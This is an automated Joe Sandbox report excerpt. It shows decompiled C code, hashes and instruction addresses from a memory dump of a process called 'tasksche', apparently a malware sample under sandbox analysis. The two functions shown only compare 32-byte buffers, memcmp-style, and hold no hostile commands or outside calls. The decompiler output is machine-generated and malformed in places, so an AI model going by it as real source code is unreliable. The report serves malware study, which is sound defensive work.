Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: fa64fecedd4ee0fbc6ebc6d5fd45eff142ec883d8ec5514f9c97111b8272a84e
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 93D18E73C0E9B34A8735812D84582BBEE62AFD175031EC3E2DCE42F389D62B5D9196D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B8B9 Relevance: .4, Instructions: 378
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041B8B9(void* __eax, void* __ecx) {
				void* _t191;
				signed int _t192;
				void* _t195;
				signed char _t201;
				signed char _t202;
				signed char _t203;
				signed char _t204;
				signed char _t206;
				signed int _t211;
				signed int _t309;
				void* _t312;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t328;
				void* _t330;
				void* _t332;
				void* _t335;
				void* _t337;
				void* _t339;
				void* _t342;
				void* _t344;
				void* _t346;
				void* _t349;
				void* _t351;
				void* _t353;

				_t195 = __ecx;
				_t191 = __eax;
				if( *((intOrPtr*)(__eax - 0x1e)) ==  *((intOrPtr*)(__ecx - 0x1e))) {
					_t309 = 0;
					L15:
					if(_t309 != 0) {
						goto L1;
					}
					_t201 =  *(_t191 - 0x1a);
					if(_t201 ==  *(_t195 - 0x1a)) {
						_t309 = 0;
						L26:
						if(_t309 != 0) {
							goto L1;
						}
						_t202 =  *(_t191 - 0x16);
						if(_t202 ==  *(_t195 - 0x16)) {
							_t309 = 0;
							L37:
							if(_t309 != 0) {
								goto L1;
							}
							_t203 =  *(_t191 - 0x12);
							if(_t203 ==  *(_t195 - 0x12)) {
								_t309 = 0;
								L48:
								if(_t309 != 0) {
									goto L1;
								}
								_t204 =  *(_t191 - 0xe);
								if(_t204 ==  *(_t195 - 0xe)) {
									_t309 = 0;
									L59:
									if(_t309 != 0) {
										goto L1;
									}
									if( *(_t191 - 0xa) ==  *(_t195 - 0xa)) {
										_t309 = 0;
										L70:
										if(_t309 != 0) {
											goto L1;
										}
										_t206 =  *(_t191 - 6);
										if(_t206 ==  *(_t195 - 6)) {
											_t309 = 0;
											L81:
											if(_t309 != 0) {
												goto L1;
											}
											if( *(_t191 - 2) ==  *(_t195 - 2)) {
												_t192 = 0;
												L3:
												return _t192;
											}
											_t312 = ( *(_t191 - 2) & 0x000000ff) - ( *(_t195 - 2) & 0x000000ff);
											if(_t312 == 0) {
												L4:
												_t192 = ( *(_t191 - 1) & 0x000000ff) - ( *(_t195 - 1) & 0x000000ff);
												if(_t192 != 0) {
													_t192 = (0 | _t192 > 0x00000000) + (0 | _t192 > 0x00000000) - 1;
												}
												goto L3;
											}
											_t211 = (0 | _t312 > 0x00000000) + (0 | _t312 > 0x00000000) - 1;
											if(_t211 != 0) {
												_t192 = _t211;
												goto L3;
											}
											goto L4;
										}
										_t314 = (_t206 & 0x000000ff) - ( *(_t195 - 6) & 0x000000ff);
										if(_t314 == 0) {
											L74:
											_t316 = ( *(_t191 - 5) & 0x000000ff) - ( *(_t195 - 5) & 0x000000ff);
											if(_t316 == 0) {
												L76:
												_t318 = ( *(_t191 - 4) & 0x000000ff) - ( *(_t195 - 4) & 0x000000ff);
												if(_t318 == 0) {
													L78:
													_t309 = ( *(_t191 - 3) & 0x000000ff) - ( *(_t195 - 3) & 0x000000ff);
													if(_t309 != 0) {
														_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
													}
													goto L81;
												}
												_t309 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
												if(_t309 != 0) {
													goto L1;
												}
												goto L78;
											}
											_t309 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L76;
										}
										_t309 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L74;
									}
									_t321 = ( *(_t191 - 0xa) & 0x000000ff) - ( *(_t195 - 0xa) & 0x000000ff);
									if(_t321 == 0) {
										L63:
										_t323 = ( *(_t191 - 9) & 0x000000ff) - ( *(_t195 - 9) & 0x000000ff);
										if(_t323 == 0) {
											L65:
											_t325 = ( *(_t191 - 8) & 0x000000ff) - ( *(_t195 - 8) & 0x000000ff);
											if(_t325 == 0) {
												L67:
												_t309 = ( *(_t191 - 7) & 0x000000ff) - ( *(_t195 - 7) & 0x000000ff);
												if(_t309 != 0) {
													_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
												}
												goto L70;
											}
											_t309 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L67;
										}
										_t309 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L65;
									}
									_t309 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L63;
								}
								_t328 = (_t204 & 0x000000ff) - ( *(_t195 - 0xe) & 0x000000ff);
								if(_t328 == 0) {
									L52:
									_t330 = ( *(_t191 - 0xd) & 0x000000ff) - ( *(_t195 - 0xd) & 0x000000ff);
									if(_t330 == 0) {
										L54:
										_t332 = ( *(_t191 - 0xc) & 0x000000ff) - ( *(_t195 - 0xc) & 0x000000ff);
										if(_t332 == 0) {
											L56:
											_t309 = ( *(_t191 - 0xb) & 0x000000ff) - ( *(_t195 - 0xb) & 0x000000ff);
											if(_t309 != 0) {
												_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
											}
											goto L59;
										}
										_t309 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L56;
									}
									_t309 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L54;
								}
								_t309 = (0 | _t328 > 0x00000000) + (0 | _t328 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L52;
							}
							_t335 = (_t203 & 0x000000ff) - ( *(_t195 - 0x12) & 0x000000ff);
							if(_t335 == 0) {
								L41:
								_t337 = ( *(_t191 - 0x11) & 0x000000ff) - ( *(_t195 - 0x11) & 0x000000ff);
								if(_t337 == 0) {
									L43:
									_t339 = ( *(_t191 - 0x10) & 0x000000ff) - ( *(_t195 - 0x10) & 0x000000ff);
									if(_t339 == 0) {
										L45:
										_t309 = ( *(_t191 - 0xf) & 0x000000ff) - ( *(_t195 - 0xf) & 0x000000ff);
										if(_t309 != 0) {
											_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
										}
										goto L48;
									}
									_t309 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L45;
								}
								_t309 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L43;
							}
							_t309 = (0 | _t335 > 0x00000000) + (0 | _t335 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L41;
						}
						_t342 = (_t202 & 0x000000ff) - ( *(_t195 - 0x16) & 0x000000ff);
						if(_t342 == 0) {
							L30:
							_t344 = ( *(_t191 - 0x15) & 0x000000ff) - ( *(_t195 - 0x15) & 0x000000ff);
							if(_t344 == 0) {
								L32:
								_t346 = ( *(_t191 - 0x14) & 0x000000ff) - ( *(_t195 - 0x14) & 0x000000ff);
								if(_t346 == 0) {
									L34:
									_t309 = ( *(_t191 - 0x13) & 0x000000ff) - ( *(_t195 - 0x13) & 0x000000ff);
									if(_t309 != 0) {
										_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
									}
									goto L37;
								}
								_t309 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L34;
							}
							_t309 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L32;
						}
						_t309 = (0 | _t342 > 0x00000000) + (0 | _t342 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L30;
					}
					_t349 = (_t201 & 0x000000ff) - ( *(_t195 - 0x1a) & 0x000000ff);
					if(_t349 == 0) {
						L19:
						_t351 = ( *(_t191 - 0x19) & 0x000000ff) - ( *(_t195 - 0x19) & 0x000000ff);
						if(_t351 == 0) {
							L21:
							_t353 = ( *(_t191 - 0x18) & 0x000000ff) - ( *(_t195 - 0x18) & 0x000000ff);
							if(_t353 == 0) {
								L23:
								_t309 = ( *(_t191 - 0x17) & 0x000000ff) - ( *(_t195 - 0x17) & 0x000000ff);
								if(_t309 != 0) {
									_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								}
								goto L26;
							}
							_t309 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L23;
						}
						_t309 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L21;
					}
					_t309 = (0 | _t349 > 0x00000000) + (0 | _t349 > 0x00000000) - 1;
					if(_t309 != 0) {
						goto L1;
					}
					goto L19;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1e) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
					if(__esi == 0) {
						L8:
						__esi =  *(__eax - 0x1d) & 0x000000ff;
						__edx =  *(__ecx - 0x1d) & 0x000000ff;
						__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
						if(__esi == 0) {
							L10:
							__esi =  *(__eax - 0x1c) & 0x000000ff;
							__edx =  *(__ecx - 0x1c) & 0x000000ff;
							__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
							if(__esi == 0) {
								L12:
								__esi =  *(__eax - 0x1b) & 0x000000ff;
								__edx =  *(__ecx - 0x1b) & 0x000000ff;
								__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L15;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L12;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L10;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L8;
				}
				L1:
				_t192 = _t309;
				goto L3;
			}

0x0041b8b9
0x0041b8b9
0x0041b8bf
0x0041b93e
0x0041b940
0x0041b942
0x00000000
0x00000000
0x0041b948
0x0041b94e
0x0041b9cd
0x0041b9cf
0x0041b9d1
0x00000000
0x00000000
0x0041b9d7
0x0041b9dd
0x0041ba5c
0x0041ba5e
0x0041ba60
0x00000000
0x00000000
0x0041ba66
0x0041ba6c
0x0041baeb
0x0041baed
0x0041baef
0x00000000
0x00000000
0x0041baf5
0x0041bafb
0x0041bb7a
0x0041bb7c
0x0041bb7e
0x00000000
0x00000000
0x0041bb8a
0x0041bc0a
0x0041bc0c
0x0041bc0e
0x00000000
0x00000000
0x0041bc14
0x0041bc1a
0x0041bc99
0x0041bc9b
0x0041bc9d
0x00000000
0x00000000
0x0041bcab
0x0041b4a5
0x0041b4a7
0x0041c203
0x0041c203
0x0041bcb9
0x0041bcbb
0x0041b897
0x0041b89f
0x0041b8a1
0x0041b8b2
0x0041b8b2
0x00000000
0x0041b8a1
0x0041bcc8
0x0041bcce
0x0041c0e7
0x00000000
0x0041c0e7
0x00000000
0x0041bcd4
0x0041bc23
0x0041bc25
0x0041bc3c
0x0041bc44
0x0041bc46
0x0041bc5d
0x0041bc65
0x0041bc67
0x0041bc7e
0x0041bc86
0x0041bc88
0x0041bc95
0x0041bc95
0x00000000
0x0041bc88
0x0041bc74
0x0041bc78
0x00000000
0x00000000
0x00000000
0x0041bc78
0x0041bc53
0x0041bc57
0x00000000
0x00000000
0x00000000
0x0041bc57
0x0041bc32
0x0041bc36
0x00000000
0x00000000
0x00000000
0x0041bc36
0x0041bb94
0x0041bb96
0x0041bbad
0x0041bbb5
0x0041bbb7
0x0041bbce
0x0041bbd6
0x0041bbd8
0x0041bbef
0x0041bbf7
0x0041bbf9
0x0041bc06
0x0041bc06
0x00000000
0x0041bbf9
0x0041bbe5
0x0041bbe9
0x00000000
0x00000000
0x00000000
0x0041bbe9
0x0041bbc4
0x0041bbc8
0x00000000
0x00000000
0x00000000
0x0041bbc8
0x0041bba3
0x0041bba7
0x00000000
0x00000000
0x00000000
0x0041bba7
0x0041bb04
0x0041bb06
0x0041bb1d
0x0041bb25
0x0041bb27
0x0041bb3e
0x0041bb46
0x0041bb48
0x0041bb5f
0x0041bb67
0x0041bb69
0x0041bb76
0x0041bb76
0x00000000
0x0041bb69
0x0041bb55
0x0041bb59
0x00000000
0x00000000
0x00000000
0x0041bb59
0x0041bb34
0x0041bb38
0x00000000
0x00000000
0x00000000
0x0041bb38
0x0041bb13
0x0041bb17
0x00000000
0x00000000
0x00000000
0x0041bb17
0x0041ba75
0x0041ba77
0x0041ba8e
0x0041ba96
0x0041ba98
0x0041baaf
0x0041bab7
0x0041bab9
0x0041bad0
0x0041bad8
0x0041bada
0x0041bae7
0x0041bae7
0x00000000
0x0041bada
0x0041bac6
0x0041baca
0x00000000
0x00000000
0x00000000
0x0041baca
0x0041baa5
0x0041baa9
0x00000000
0x00000000
0x00000000
0x0041baa9
0x0041ba84
0x0041ba88
0x00000000
0x00000000
0x00000000
0x0041ba88
0x0041b9e6
0x0041b9e8
0x0041b9ff
0x0041ba07
0x0041ba09
0x0041ba20
0x0041ba28
0x0041ba2a
0x0041ba41
0x0041ba49
0x0041ba4b
0x0041ba58
0x0041ba58
0x00000000
0x0041ba4b
0x0041ba37
0x0041ba3b
0x00000000
0x00000000
0x00000000
0x0041ba3b
0x0041ba16
0x0041ba1a
0x00000000
0x00000000
0x00000000
0x0041ba1a
0x0041b9f5
0x0041b9f9
0x00000000
0x00000000
0x00000000
0x0041b9f9
0x0041b957
0x0041b959
0x0041b970
0x0041b978
0x0041b97a
0x0041b991
0x0041b999
0x0041b99b
0x0041b9b2
0x0041b9ba
0x0041b9bc
0x0041b9c9
0x0041b9c9
0x00000000
0x0041b9bc
0x0041b9a8
0x0041b9ac
0x00000000
0x00000000
0x00000000
0x0041b9ac
0x0041b987
0x0041b98b
0x00000000
0x00000000
0x00000000
0x0041b98b
0x0041b966
0x0041b96a
0x00000000
0x00000000
0x00000000
0x0041b8c1
0x0041b8c1
0x0041b8c4
0x0041b8c8
0x0041b8ca
0x0041b8e1
0x0041b8e1
0x0041b8e5
0x0041b8e9
0x0041b8eb
0x0041b902
0x0041b902
0x0041b906
0x0041b90a
0x0041b90c
0x0041b923
0x0041b923
0x0041b927
0x0041b92b
0x0041b92d
0x0041b933
0x0041b936
0x0041b93a
0x0041b93a
0x00000000
0x0041b92d
0x0041b912
0x0041b915
0x0041b919
0x0041b91d
0x00000000
0x00000000
0x00000000
0x0041b91d
0x0041b8f1
0x0041b8f4
0x0041b8f8
0x0041b8fc
0x00000000
0x00000000
0x00000000
0x0041b8fc
0x0041b8d0
0x0041b8d3
0x0041b8d7
0x0041b8db
0x00000000
0x00000000
0x00000000
0x0041b8db
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 1a9104bdc18b99a6bc3a57d880f0b00b8efb4b2948f4f82757f4a36a4691901f
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: 8DD18E73D1E9B30A8735812D80682ABEE62AFD175031EC3E2DCE42F389D72B5D9195D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B4AD Relevance: .4, Instructions: 361
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041B4AD(void* __eax, void* __ecx) {
				void* _t183;
				signed int _t184;
				void* _t187;
				signed char _t193;
				signed char _t194;
				signed char _t195;
				signed char _t196;
				signed char _t198;
				signed int _t296;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t313;
				void* _t315;
				void* _t317;
				void* _t320;
				void* _t322;
				void* _t324;
				void* _t327;
				void* _t329;
				void* _t331;
				void* _t334;
				void* _t336;
				void* _t338;

				_t187 = __ecx;
				_t183 = __eax;
				if( *((intOrPtr*)(__eax - 0x1d)) ==  *((intOrPtr*)(__ecx - 0x1d))) {
					_t296 = 0;
					L12:
					if(_t296 != 0) {
						goto L1;
					}
					_t193 =  *(_t183 - 0x19);
					if(_t193 ==  *(_t187 - 0x19)) {
						_t296 = 0;
						L23:
						if(_t296 != 0) {
							goto L1;
						}
						_t194 =  *(_t183 - 0x15);
						if(_t194 ==  *(_t187 - 0x15)) {
							_t296 = 0;
							L34:
							if(_t296 != 0) {
								goto L1;
							}
							_t195 =  *(_t183 - 0x11);
							if(_t195 ==  *(_t187 - 0x11)) {
								_t296 = 0;
								L45:
								if(_t296 != 0) {
									goto L1;
								}
								_t196 =  *(_t183 - 0xd);
								if(_t196 ==  *(_t187 - 0xd)) {
									_t296 = 0;
									L56:
									if(_t296 != 0) {
										goto L1;
									}
									if( *(_t183 - 9) ==  *(_t187 - 9)) {
										_t296 = 0;
										L67:
										if(_t296 != 0) {
											goto L1;
										}
										_t198 =  *(_t183 - 5);
										if(_t198 ==  *(_t187 - 5)) {
											_t296 = 0;
											L78:
											if(_t296 != 0) {
												goto L1;
											}
											_t184 = ( *(_t183 - 1) & 0x000000ff) - ( *(_t187 - 1) & 0x000000ff);
											if(_t184 != 0) {
												_t184 = (0 | _t184 > 0x00000000) + (0 | _t184 > 0x00000000) - 1;
											}
											L2:
											return _t184;
										}
										_t299 = (_t198 & 0x000000ff) - ( *(_t187 - 5) & 0x000000ff);
										if(_t299 == 0) {
											L71:
											_t301 = ( *(_t183 - 4) & 0x000000ff) - ( *(_t187 - 4) & 0x000000ff);
											if(_t301 == 0) {
												L73:
												_t303 = ( *(_t183 - 3) & 0x000000ff) - ( *(_t187 - 3) & 0x000000ff);
												if(_t303 == 0) {
													L75:
													_t296 = ( *(_t183 - 2) & 0x000000ff) - ( *(_t187 - 2) & 0x000000ff);
													if(_t296 != 0) {
														_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t296 = (0 | _t303 > 0x00000000) + (0 | _t303 > 0x00000000) - 1;
												if(_t296 != 0) {
													goto L1;
												}
												goto L75;
											}
											_t296 = (0 | _t301 > 0x00000000) + (0 | _t301 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L73;
										}
										_t296 = (0 | _t299 > 0x00000000) + (0 | _t299 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L71;
									}
									_t306 = ( *(_t183 - 9) & 0x000000ff) - ( *(_t187 - 9) & 0x000000ff);
									if(_t306 == 0) {
										L60:
										_t308 = ( *(_t183 - 8) & 0x000000ff) - ( *(_t187 - 8) & 0x000000ff);
										if(_t308 == 0) {
											L62:
											_t310 = ( *(_t183 - 7) & 0x000000ff) - ( *(_t187 - 7) & 0x000000ff);
											if(_t310 == 0) {
												L64:
												_t296 = ( *(_t183 - 6) & 0x000000ff) - ( *(_t187 - 6) & 0x000000ff);
												if(_t296 != 0) {
													_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
												}
												goto L67;
											}
											_t296 = (0 | _t310 > 0x00000000) + (0 | _t310 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L64;
										}
										_t296 = (0 | _t308 > 0x00000000) + (0 | _t308 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L62;
									}
									_t296 = (0 | _t306 > 0x00000000) + (0 | _t306 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L60;
								}
								_t313 = (_t196 & 0x000000ff) - ( *(_t187 - 0xd) & 0x000000ff);
								if(_t313 == 0) {
									L49:
									_t315 = ( *(_t183 - 0xc) & 0x000000ff) - ( *(_t187 - 0xc) & 0x000000ff);
									if(_t315 == 0) {
										L51:
										_t317 = ( *(_t183 - 0xb) & 0x000000ff) - ( *(_t187 - 0xb) & 0x000000ff);
										if(_t317 == 0) {
											L53:
											_t296 = ( *(_t183 - 0xa) & 0x000000ff) - ( *(_t187 - 0xa) & 0x000000ff);
											if(_t296 != 0) {
												_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
											}
											goto L56;
										}
										_t296 = (0 | _t317 > 0x00000000) + (0 | _t317 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L53;
									}
									_t296 = (0 | _t315 > 0x00000000) + (0 | _t315 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L51;
								}
								_t296 = (0 | _t313 > 0x00000000) + (0 | _t313 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L49;
							}
							_t320 = (_t195 & 0x000000ff) - ( *(_t187 - 0x11) & 0x000000ff);
							if(_t320 == 0) {
								L38:
								_t322 = ( *(_t183 - 0x10) & 0x000000ff) - ( *(_t187 - 0x10) & 0x000000ff);
								if(_t322 == 0) {
									L40:
									_t324 = ( *(_t183 - 0xf) & 0x000000ff) - ( *(_t187 - 0xf) & 0x000000ff);
									if(_t324 == 0) {
										L42:
										_t296 = ( *(_t183 - 0xe) & 0x000000ff) - ( *(_t187 - 0xe) & 0x000000ff);
										if(_t296 != 0) {
											_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
										}
										goto L45;
									}
									_t296 = (0 | _t324 > 0x00000000) + (0 | _t324 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L42;
								}
								_t296 = (0 | _t322 > 0x00000000) + (0 | _t322 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L40;
							}
							_t296 = (0 | _t320 > 0x00000000) + (0 | _t320 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L38;
						}
						_t327 = (_t194 & 0x000000ff) - ( *(_t187 - 0x15) & 0x000000ff);
						if(_t327 == 0) {
							L27:
							_t329 = ( *(_t183 - 0x14) & 0x000000ff) - ( *(_t187 - 0x14) & 0x000000ff);
							if(_t329 == 0) {
								L29:
								_t331 = ( *(_t183 - 0x13) & 0x000000ff) - ( *(_t187 - 0x13) & 0x000000ff);
								if(_t331 == 0) {
									L31:
									_t296 = ( *(_t183 - 0x12) & 0x000000ff) - ( *(_t187 - 0x12) & 0x000000ff);
									if(_t296 != 0) {
										_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
									}
									goto L34;
								}
								_t296 = (0 | _t331 > 0x00000000) + (0 | _t331 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L31;
							}
							_t296 = (0 | _t329 > 0x00000000) + (0 | _t329 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L29;
						}
						_t296 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L27;
					}
					_t334 = (_t193 & 0x000000ff) - ( *(_t187 - 0x19) & 0x000000ff);
					if(_t334 == 0) {
						L16:
						_t336 = ( *(_t183 - 0x18) & 0x000000ff) - ( *(_t187 - 0x18) & 0x000000ff);
						if(_t336 == 0) {
							L18:
							_t338 = ( *(_t183 - 0x17) & 0x000000ff) - ( *(_t187 - 0x17) & 0x000000ff);
							if(_t338 == 0) {
								L20:
								_t296 = ( *(_t183 - 0x16) & 0x000000ff) - ( *(_t187 - 0x16) & 0x000000ff);
								if(_t296 != 0) {
									_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
								}
								goto L23;
							}
							_t296 = (0 | _t338 > 0x00000000) + (0 | _t338 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L20;
						}
						_t296 = (0 | _t336 > 0x00000000) + (0 | _t336 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L18;
					}
					_t296 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
					if(_t296 != 0) {
						goto L1;
					}
					goto L16;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1d) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
					if(__esi == 0) {
						L5:
						__esi =  *(__eax - 0x1c) & 0x000000ff;
						__edx =  *(__ecx - 0x1c) & 0x000000ff;
						__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
						if(__esi == 0) {
							L7:
							__esi =  *(__eax - 0x1b) & 0x000000ff;
							__edx =  *(__ecx - 0x1b) & 0x000000ff;
							__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
							if(__esi == 0) {
								L9:
								__esi =  *(__eax - 0x1a) & 0x000000ff;
								__edx =  *(__ecx - 0x1a) & 0x000000ff;
								__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L12;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L9;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L7;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L5;
				}
				L1:
				_t184 = _t296;
				goto L2;
			}

0x0041b4ad
0x0041b4ad
0x0041b4b3
0x0041b532
0x0041b534
0x0041b536
0x00000000
0x00000000
0x0041b53c
0x0041b542
0x0041b5c1
0x0041b5c3
0x0041b5c5
0x00000000
0x00000000
0x0041b5cb
0x0041b5d1
0x0041b650
0x0041b652
0x0041b654
0x00000000
0x00000000
0x0041b65a
0x0041b660
0x0041b6df
0x0041b6e1
0x0041b6e3
0x00000000
0x00000000
0x0041b6e9
0x0041b6ef
0x0041b76e
0x0041b770
0x0041b772
0x00000000
0x00000000
0x0041b77e
0x0041b7fe
0x0041b800
0x0041b802
0x00000000
0x00000000
0x0041b808
0x0041b80e
0x0041b88d
0x0041b88f
0x0041b891
0x00000000
0x00000000
0x0041b89f
0x0041b8a1
0x0041b8b2
0x0041b8b2
0x0041b4a7
0x0041c203
0x0041c203
0x0041b817
0x0041b819
0x0041b830
0x0041b838
0x0041b83a
0x0041b851
0x0041b859
0x0041b85b
0x0041b872
0x0041b87a
0x0041b87c
0x0041b889
0x0041b889
0x00000000
0x0041b87c
0x0041b868
0x0041b86c
0x00000000
0x00000000
0x00000000
0x0041b86c
0x0041b847
0x0041b84b
0x00000000
0x00000000
0x00000000
0x0041b84b
0x0041b826
0x0041b82a
0x00000000
0x00000000
0x00000000
0x0041b82a
0x0041b788
0x0041b78a
0x0041b7a1
0x0041b7a9
0x0041b7ab
0x0041b7c2
0x0041b7ca
0x0041b7cc
0x0041b7e3
0x0041b7eb
0x0041b7ed
0x0041b7fa
0x0041b7fa
0x00000000
0x0041b7ed
0x0041b7d9
0x0041b7dd
0x00000000
0x00000000
0x00000000
0x0041b7dd
0x0041b7b8
0x0041b7bc
0x00000000
0x00000000
0x00000000
0x0041b7bc
